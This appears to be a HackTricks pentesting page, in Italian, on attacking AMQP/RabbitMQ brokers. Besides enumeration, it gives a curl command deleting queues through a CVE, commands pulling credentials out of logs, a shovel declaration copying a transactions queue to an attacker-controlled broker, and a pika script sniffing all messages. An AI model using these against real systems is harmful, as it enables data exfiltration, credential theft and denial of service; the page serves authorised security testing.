5671,5672 - Pentesting AMQP
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Da cloudamqp:
RabbitMQ è un software di message-queueing noto anche come message broker o queue manager. In parole semplici; è un software in cui vengono definite delle code, a cui le applicazioni si connettono per trasferire un messaggio o più messaggi.
Un messaggio può contenere qualsiasi tipo di informazione. Potrebbe, ad esempio, contenere informazioni su un processo o un task che dovrebbe avviarsi su un’altra applicazione (che potrebbe anche trovarsi su un altro server), oppure potrebbe essere semplicemente un messaggio di testo. Il software di queue-manager memorizza i messaggi finché un’applicazione ricevente non si connette e preleva un messaggio dalla coda. L’applicazione ricevente poi elabora il messaggio.
Definizione da .
Porta predefinita: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- Credenziali di default:
guest:guest. RabbitMQ le limita a localhost tramiteloopback_users, ma molte immagini Docker/IoT disabilitano quel controllo, quindi testa sempre l’accesso remoto prima di presumere che sia bloccato. - Meccanismi di autenticazione: PLAIN e AMQPLAIN sono abilitati di default, ANONYMOUS è mappato a
anonymous_login_user/anonymous_login_pass, ed EXTERNAL (x509) può essere esposto quando TLS è abilitato. Enumera ciò che il broker annuncia così saprai se provare password spraying o certificate impersonation in seguito.
Enumerazione
Manuale
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
Una volta autenticato, dump conn.server_properties, conn.channel_max e conn.frame_max per comprendere i limiti di throughput e se puoi esaurire le risorse con frame sovradimensionati.
Automatico
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
Controlli TLS/SASL
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
Questo leaks la catena di certificati, le versioni TLS supportate e se è richiesto mutual TLS.
- List listeners senza credenziali:
rabbitmq-diagnostics -q listeners
Utile una volta ottenuto accesso shell low-priv sull’host.
- Spot ANONYMOUS logins: se il broker permette il meccanismo ANONYMOUS SASL, prova a connetterti con username/password vuoti; RabbitMQ ti mapperà internamente a
anonymous_login_user(di defaultguest).
Brute Force
Exploitation Tips
Queue deletion senza permessi configure (CVE-2024-51988)
RabbitMQ ≤ 3.12.10 (e build Tanzu non aggiornate) non verifica il permesso configure quando le queue vengono cancellate tramite l’HTTP API. Qualsiasi utente autenticato con accesso al vhost target può eliminare queue arbitrarie anche se possiede solo i permessi read o write.
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Combinalo con rabbitmqadmin list permissions per individuare vhosts in cui il tuo low-priv user ha accesso parziale, poi wipe queues per indurre denial of service o far scattare controlli compensativi osservati sul lato AMQP. Consulta 15672 pentesting per altri endpoint HTTP API da concatenare a questo bug.
Harvest credentials from RabbitMQ logs (CVE-2025-50200)
Fino alle versioni 4.0.8/4.1.0, interrogare la management API usando HTTP basic auth su una risorsa inesistente fa sì che il broker registri l’intero Authorization header (base64). Se ottieni accesso limitato al filesystem (es. Docker escape, plugin RCE), cerca in /var/log/rabbitmq/rabbit@*.log la voce Authorization: per recuperare credenziali di altri tenant o account di servizio.
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
Innescalo intenzionalmente usando endpoint falsi per piantare nuovi secrets nei log, poi effettua pivot riutilizzando le creds decodificate su AMQP, STOMP, MQTT o sull’OS stesso.
Strumentalizza rabbitmqadmin-ng
rabbitmqadmin v2 (aka rabbitmqadmin-ng) è un CLI autonomo che comunica con la management API e ora viene distribuito in build staticamente linkate per Linux/macOS/Windows. Copialo sulla tua bounce box e scriptalo:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
Poiché lo strumento supporta health checks compatibili con blue/green, puoi anche abusare di rabbitmqadmin health_check port_listener --port 5672 per confermare da remoto se sono stati esposti listener TLS o per mantenere il servizio occupato per probe di timing.
Message hijacking/sniffing
Se trovi politiche permissive (.* bindings, topic exchanges, o x-queue-master-locator = min-masters), puoi sottrarre silenziosamente i messaggi senza cancellarli:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
Swap the routing key for audit.# or payments.* to focus on sensitive flows, then republish forged messages by flipping basic_publish arguments—handy for replay attacks against downstream microservices.
Altre porte di RabbitMQ
In https://www.rabbitmq.com/networking.html puoi vedere che rabbitmq usa diverse porte:
- 1883, 8883: (MQTT clients senza e con TLS, se il MQTT plugin è abilitato. Learn more about how to pentest MQTT here.
- 4369: epmd: un servizio di peer discovery utilizzato dai nodi RabbitMQ e dagli strumenti CLI. Learn more about how to pentest this service here.
- 5672, 5671: usati da client AMQP 0-9-1 e 1.0 senza e con TLS
- 15672: HTTP API client, management UI e rabbitmqadmin (solo se il management plugin è abilitato). Learn more about how to pentest this service here.
- 15674: client STOMP-over-WebSockets (solo se il Web STOMP plugin è abilitato)
- 15675: client MQTT-over-WebSockets (solo se il Web MQTT plugin è abilitato)
- 15692: metriche Prometheus (solo se il Prometheus plugin è abilitato)
- 25672: usata per la comunicazione inter-node e dagli strumenti CLI (Erlang distribution server port) ed è allocata da un intervallo dinamico (limitata a una singola porta per default, calcolata come AMQP port + 20000). A meno che le connessioni esterne su queste porte non siano veramente necessarie (es. il cluster usa federation o gli strumenti CLI sono usati su macchine fuori dalla subnet), queste porte non dovrebbero essere esposte pubblicamente. See networking guide for details. Solo 9 di queste porte sono aperte su Internet.
- 35672-35682: usate dagli strumenti CLI (Erlang distribution client ports) per la comunicazione con i nodi ed è allocata da un intervallo dinamico (calcolato come server distribution port + 10000 through server distribution port + 10010). See networking guide for details.
- 61613, 61614: STOMP clients senza e con TLS (solo se il STOMP plugin è abilitato). Meno di 10 dispositivi con questa porta aperta e per lo più UDP per nodi DHT.
Vedi anche
Shodan
AMQP
Riferimenti
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


